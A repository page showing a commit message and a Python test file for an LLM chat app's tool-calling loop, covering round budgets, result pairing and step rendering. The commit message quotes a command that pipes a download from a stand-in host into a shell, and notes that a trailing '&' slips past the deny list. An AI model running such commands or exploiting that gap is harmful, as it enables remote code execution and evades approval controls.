Files
LLeMbas/tests/test_generation_tools.py
T
Jaroslav Beneš 7df68eb44c A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 19:02:07 +02:00

616 lines
24 KiB
Python

"""The tool loop: one reply, several requests."""
from __future__ import annotations
from lembas.db.models import ROLE_ASSISTANT, Chat, Connection, Message, Model
from lembas.services import generation as generation_service
from lembas.services import settings_store
from lembas.services import steps as steps_service
from lembas.services import tools as tools_service
from lembas.services.search.base import SearchResult
def _chat_with_tools(db, user_id):
connection = Connection(name="c", base_url="http://127.0.0.1:1", api_key_encrypted="")
db.add(connection)
db.commit()
db.add(Model(connection_id=connection.id, model_id="m", capabilities_json={"tools": True}))
db.commit()
chat = Chat(user_id=user_id, model_id="m", connection_id=connection.id)
db.add(chat)
db.commit()
db.add(Message(chat_id=chat.id, role="user", content="What is a mallorn?", complete=True))
db.commit()
assistant = Message(chat_id=chat.id, role=ROLE_ASSISTANT, content="", complete=False)
db.add(assistant)
db.commit()
return chat.id, assistant.id
def _tool_call_chunk(name: str, arguments: str) -> dict:
return {
"choices": [
{"delta": {"tool_calls": [{"index": 0, "id": "c1", "function": {
"name": name, "arguments": arguments}}]}}
]
}
def _text_chunk(text: str) -> dict:
return {"choices": [{"delta": {"content": text}}]}
def _stub_stream(rounds, seen_payloads):
"""A stream_chat that returns a different scripted round each time."""
async def stream_chat(_endpoint, payload):
seen_payloads.append(payload)
for chunk in rounds[min(len(seen_payloads) - 1, len(rounds) - 1)]:
yield chunk
return stream_chat
async def test_a_tool_call_produces_a_second_request(db, user_id, monkeypatch):
"""The whole point: one reply, two round trips, with the search result in
the second one's messages."""
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
async def fake_search(_config, _query, *, limit=None):
return [SearchResult("Mallorn", "https://tolkien.test/mallorn", "A golden tree.")]
monkeypatch.setattr("lembas.services.search.run", fake_search)
payloads = []
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[_tool_call_chunk("web_search", '{"query": "mallorn"}')],
[_text_chunk("A mallorn is a golden tree.")],
],
payloads,
),
)
monkeypatch.setattr(
"lembas.services.chat.generate_title", _never_called_title
)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
assert len(payloads) == 2, "the model asked for a tool, so it must be asked again"
assert generation.text == "A mallorn is a golden tree."
# The second request carries the assistant's own call back, then the result.
followups = payloads[1]["messages"][-2:]
assert followups[0]["tool_calls"][0]["function"]["name"] == "web_search"
assert followups[1]["role"] == "tool"
assert "https://tolkien.test/mallorn" in followups[1]["content"]
# And the reader gets to see what it looked up.
assert generation.tool_events[0]["query"] == "mallorn"
assert generation.tool_events[0]["results"][0]["url"] == "https://tolkien.test/mallorn"
async def test_the_tools_array_is_absent_without_the_capability(db, user_id, monkeypatch):
chat_id, message_id = _chat_with_tools(db, user_id)
# Search enabled, but the model is not marked as supporting tools.
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
model = db.query(Model).first()
model.capabilities_json = {}
db.commit()
payloads = []
monkeypatch.setattr(
generation_service, "stream_chat", _stub_stream([[_text_chunk("hi")]], payloads)
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
await generation_service._run(
generation_service.Generation(chat_id=chat_id, message_id=message_id)
)
assert "tools" not in payloads[0]
async def test_text_before_a_tool_call_is_kept(db, user_id, monkeypatch):
"""A model that narrates what it is about to look up must not lose that
when the results come back."""
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
monkeypatch.setattr(
"lembas.services.search.run", _empty_search
)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[
_text_chunk("Let me look that up. "),
_tool_call_chunk("web_search", '{"query": "mallorn"}'),
],
[_text_chunk("Nothing found.")],
],
[],
),
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
assert generation.text == "Let me look that up. Nothing found."
async def test_a_model_that_only_ever_calls_tools_is_stopped(db, user_id, monkeypatch):
"""Otherwise a small model that has decided searching is the answer keeps
searching until the context runs out, at a full request each time."""
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
monkeypatch.setattr("lembas.services.search.run", _empty_search)
# Set explicitly rather than read from the constant: a test that reads the
# number under test passes whatever the number becomes, which is the
# assertion nobody wanted.
settings_store.update(db, {"max_chat_rounds": 3})
payloads = []
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream([[_tool_call_chunk("web_search", '{"query": "x"}')]], payloads),
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
# Three rounds that may call tools, the one that notices the ceiling, and
# the one asked for an answer with the tools withdrawn.
assert len(payloads) == 5
# And the last request carried no tools at all, which is what makes it a
# round the model can only answer.
assert "tools" not in payloads[-1]
# Recorded rather than silently dropped: an answer that stops here has to
# be explicable.
assert generation.tool_events[-1]["status"] == "error"
assert "3 rounds" in generation.tool_events[-1]["error"]
async def test_running_out_of_rounds_still_produces_an_answer(db, user_id, monkeypatch):
"""The bug this exists for.
A model that goes straight to tool calls has written no prose at all by the
time a budget runs out, so ending the reply there produced an empty bubble
with an error line under it -- a good piece of research, six searches deep,
thrown away. The tools are withdrawn and it is asked once more instead: what
it gathered is in the transcript either way, and one request turns it into
an answer.
"""
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
monkeypatch.setattr("lembas.services.search.run", _empty_search)
settings_store.update(db, {"max_chat_rounds": 2})
payloads: list[dict] = []
async def stream_chat(_endpoint, payload):
payloads.append(payload)
# Exactly what a real model does: call tools while it has them, and
# answer when it has none.
if payload.get("tools"):
yield _tool_call_chunk("web_search", '{"query": "x"}')
else:
yield {"choices": [{"delta": {"content": "Here is what I found."}}]}
monkeypatch.setattr(generation_service, "stream_chat", stream_chat)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
assert generation.text == "Here is what I found."
assert not generation.error
# And the reader can still tell this apart from an answer the model chose
# to give, which is what the event is for.
assert generation.tool_events[-1]["status"] == "error"
assert "2 rounds" in generation.tool_events[-1]["error"]
async def test_no_ceiling_by_default(db, user_id):
"""A number low enough to be reached by ordinary work is a schedule, not a
ceiling. What bounds an ordinary chat is the context window."""
assert settings_store.chat_rounds(db) == 0
async def test_without_a_ceiling_the_model_is_told_to_keep_working(db, user_id):
"""Exactly one of the two fragments ever appears. With no budget the model
must not be left with nothing said about when to stop -- and must certainly
not be told it has a budget of two hundred, which it would ration."""
from lembas.db.models import User
from lembas.services import harness
from lembas.services import tools as tools_service
chat_id, _message_id = _chat_with_tools(db, user_id)
chat = db.get(Chat, chat_id)
user = db.get(User, user_id)
offered = tools_service.resolve_tools(db, chat, user).schemas
values = harness.context_variables(db, user, offered, chat)
assert values["round_budget"] == ""
assert values["unbounded"] == "yes"
text = harness.compose(db, user, offered, chat)
assert "Keep working until the task is actually done" in text
assert "rounds of tool calls before you have to" not in text
async def test_with_a_ceiling_the_model_is_told_the_budget(db, user_id):
from lembas.db.models import User
from lembas.services import harness
from lembas.services import tools as tools_service
settings_store.update(db, {"max_chat_rounds": 3})
chat_id, _message_id = _chat_with_tools(db, user_id)
chat = db.get(Chat, chat_id)
user = db.get(User, user_id)
offered = tools_service.resolve_tools(db, chat, user).schemas
values = harness.context_variables(db, user, offered, chat)
assert values["round_budget"] == "3"
assert values["unbounded"] == ""
text = harness.compose(db, user, offered, chat)
assert "at most 3 rounds" in text
assert "Keep working until the task is actually done" not in text
async def test_a_prompt_queued_during_a_one_round_reply_waits_for_its_own(
db, user_id, monkeypatch
):
"""`_inject` only takes a prompt in while there is a round left to answer
in. With a ceiling of one there never is, so a queued message is not
swallowed into a reply that then has no chance to address it -- it waits for
`_drain`, which always gives it a reply of its own.
One is no longer the default, but it is still a setting somebody can choose,
and "it happens to work" and "it is meant to work" look the same until
somebody changes the guard.
"""
settings_store.update(db, {"max_chat_rounds": 1})
from lembas.db.models import Message
from lembas.services import chat as chat_service
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
chat = db.get(Chat, chat_id)
queued = chat_service.create_message(db, chat, "user", "actually, do it the other way",
queued=True)
queued_id = queued.id
monkeypatch.setattr("lembas.services.search.run", _empty_search)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[[_tool_call_chunk("web_search", '{"query": "x"}')], [_text_chunk("Done.")]],
[],
),
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
# The row, not the payload: it was handed to a fresh reply by `_drain`,
# which is what clears `queued`.
db.expire_all()
assert db.get(Message, queued_id).queued is False
assert generation.drained is True
async def test_tool_activity_is_stored_with_the_message(db, user_id, monkeypatch):
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
async def fake_search(_config, _query, *, limit=None):
return [SearchResult("Mallorn", "https://tolkien.test/m", "A tree.")]
monkeypatch.setattr("lembas.services.search.run", fake_search)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[_tool_call_chunk("web_search", '{"query": "mallorn"}')],
[_text_chunk("Done.")],
],
[],
),
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
await generation_service._run(
generation_service.Generation(chat_id=chat_id, message_id=message_id)
)
stored = db.get(Message, message_id)
db.refresh(stored)
assert stored.tool_calls_json[0]["query"] == "mallorn"
assert stored.complete is True
async def _empty_search(_config, _query, *, limit=None):
return []
async def _never_called_title(*_args, **_kwargs):
"""Auto-titling makes its own request; these tests are about the tool loop."""
return "A title"
# --- Progress and concurrency ------------------------------------------------
async def test_the_status_names_the_running_tool_and_is_cleared(db, user_id, monkeypatch):
"""A remote tool can take seconds with nothing streaming, and a silent
pause is exactly what a hang looks like."""
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
seen: list[str] = []
async def fake_search(_config, _query, *, limit=None):
seen.append(generation.status)
return []
monkeypatch.setattr("lembas.services.search.run", fake_search)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[[_tool_call_chunk("web_search", '{"query": "mallorn"}')], [_text_chunk("Done.")]],
[],
),
)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
# In words, from services/tool_labels.py -- the same table the transcript
# and the approval card read. It used to say "Running web_search…".
assert seen == ["Running Web search…"]
assert generation.status == "", "and it is cleared once they are done"
async def test_results_stay_paired_with_their_calls_when_run_together(db, user_id, monkeypatch):
"""Indexed rather than appended as they finish: an endpoint matching on
tool_call_id would otherwise pair the right id with the wrong content."""
import asyncio
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
async def slow_first(_config, query, *, limit=None):
# The first call finishes last, which is the whole point of the test.
await asyncio.sleep(0.02 if query == "first" else 0)
return [SearchResult(f"result for {query}", f"https://t.test/{query}", "")]
monkeypatch.setattr("lembas.services.search.run", slow_first)
two_calls = {
"choices": [
{"delta": {"tool_calls": [
{"index": 0, "id": "a", "function": {
"name": "web_search", "arguments": '{"query": "first"}'}},
{"index": 1, "id": "b", "function": {
"name": "web_search", "arguments": '{"query": "second"}'}},
]}}
]
}
payloads: list[dict] = []
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream([[two_calls], [_text_chunk("Done.")]], payloads),
)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
turns = [m for m in payloads[1]["messages"] if m.get("role") == "tool"]
assert [turn["tool_call_id"] for turn in turns] == ["a", "b"]
assert "first" in turns[0]["content"] and "second" in turns[1]["content"]
# And the transcript keeps the same order.
assert [event["query"] for event in generation.tool_events] == ["first", "second"]
async def test_a_custom_tool_runs_inside_the_loop(db, user_id, monkeypatch, mock_http):
"""End to end: a row becomes an offered schema, the model calls it, and the
result comes back in the next request's messages."""
import httpx
from lembas.db.models import CustomTool
monkeypatch.setattr(
"socket.getaddrinfo", lambda *a, **k: [(2, 1, 6, "", ("93.184.216.34", 80))]
)
mock_http(lambda _r: httpx.Response(200, json={"summary": "Sunny in Minas Tirith."}))
db.add(
CustomTool(
slug="weather",
name="Weather",
description="Look up the weather.",
url_template="https://api.test/{{city}}",
parameters_json={"type": "object", "properties": {"city": {"type": "string"}}},
response_mode="json",
response_path="summary",
)
)
db.commit()
chat_id, message_id = _chat_with_tools(db, user_id)
payloads: list[dict] = []
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[_tool_call_chunk("weather", '{"city": "Minas Tirith"}')],
[_text_chunk("It is sunny.")],
],
payloads,
),
)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
offered = {tool["function"]["name"] for tool in payloads[0]["tools"]}
assert "weather" in offered
tool_turns = [m for m in payloads[1]["messages"] if m.get("role") == "tool"]
assert tool_turns[0]["content"] == "Sunny in Minas Tirith."
assert generation.tool_events[0]["kind"] == "custom"
assert generation.tool_events[0]["label"] == "Weather"
def test_the_default_and_the_fallback_cannot_drift(db):
"""`tools.MAX_ROUNDS` exists for callers with no session; the setting is
what the loop and the harness read. Two numbers meaning one thing is how
a model gets told a budget it does not have."""
assert tools_service.MAX_ROUNDS == settings_store.DEFAULT_CHAT_ROUNDS
assert settings_store.chat_rounds(db) == tools_service.MAX_ROUNDS
async def test_a_ceiling_of_zero_does_not_mean_zero_rounds(db, user_id, monkeypatch):
"""It means no ceiling. Read carelessly it would mean the model never gets
to call anything, which is the opposite."""
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
settings_store.update(db, {"max_chat_rounds": 0})
chat_id, message_id = _chat_with_tools(db, user_id)
monkeypatch.setattr("lembas.services.search.run", _empty_search)
payloads = []
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[[_tool_call_chunk("web_search", '{"query": "x"}')], [_text_chunk("Done.")]],
payloads,
),
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
assert generation.text == "Done."
assert len(payloads) == 2, "it called a tool and then answered, uninterrupted"
def test_the_ceiling_is_clamped(db):
settings_store.update(db, {"max_chat_rounds": 9999})
assert settings_store.chat_rounds(db) == 100
settings_store.update(db, {"max_chat_rounds": -5})
assert settings_store.chat_rounds(db) == 0
# --- The marks that make a reply a sequence ------------------------------------
async def test_text_after_a_tool_call_renders_after_it(db, user_id, monkeypatch):
"""The whole redesign, end to end. Before the marks existed this bubble
showed both sentences together at the bottom, under the tool block, however
many rounds apart the model had written them."""
from lembas.db.models import Message
from lembas.web.templating import templates
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
monkeypatch.setattr("lembas.services.search.run", _empty_search)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[
_text_chunk("Let me look that up. "),
_tool_call_chunk("web_search", '{"query": "mallorn"}'),
],
[_text_chunk("Nothing found.")],
],
[],
),
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
message = db.get(Message, message_id)
db.refresh(message)
assert message.steps_json, "the marks reached the row"
assert message.content == "Let me look that up. Nothing found.", "and the text is untouched"
html = templates.get_template("chat/_steps.html").render(
{
"steps": steps_service.for_message(message),
"live": False,
"message": message,
}
)
assert html.index("Let me look that up") < html.index("tool-activity")
assert html.index("tool-activity") < html.index("Nothing found")
async def test_a_budget_event_gets_a_step_of_its_own(db, user_id, monkeypatch):
"""`_wrap_up` and `_gave_up` append outside the round loop. Without a mark
the one line saying why the reply stopped would land in the step still being
written, where the live view has no tools slot -- so the reader would be told
nothing at all."""
settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
chat_id, message_id = _chat_with_tools(db, user_id)
settings_store.update(db, {"max_chat_rounds": 1})
monkeypatch.setattr("lembas.services.search.run", _empty_search)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream([[_tool_call_chunk("web_search", '{"query": "x"}')]], []),
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
built = steps_service.closed_from(generation, since=0)
events = [event for step in built for event in step.events]
# `kind`, not `name`: the out-of-rounds branch names the event after the
# tool that was refused, so the reader sees which call was cut off.
assert any("Stopped after" in (event.get("error") or "") for event in events), (
"the explanation is in a closed step rather than stranded in the tail"
)
async def test_a_reply_that_calls_nothing_writes_no_marks(db, user_id, monkeypatch):
"""And therefore renders as the old layout, which for a reply with no tool
blocks is the same sequence anyway. That is what makes the compatibility
branch honest rather than a special case."""
from lembas.db.models import Message
chat_id, message_id = _chat_with_tools(db, user_id)
monkeypatch.setattr(
generation_service, "stream_chat", _stub_stream([[_text_chunk("Just an answer.")]], [])
)
monkeypatch.setattr("lembas.services.chat.generate_title", _never_called_title)
await generation_service._run(
generation_service.Generation(chat_id=chat_id, message_id=message_id)
)
message = db.get(Message, message_id)
db.refresh(message)
assert message.steps_json == []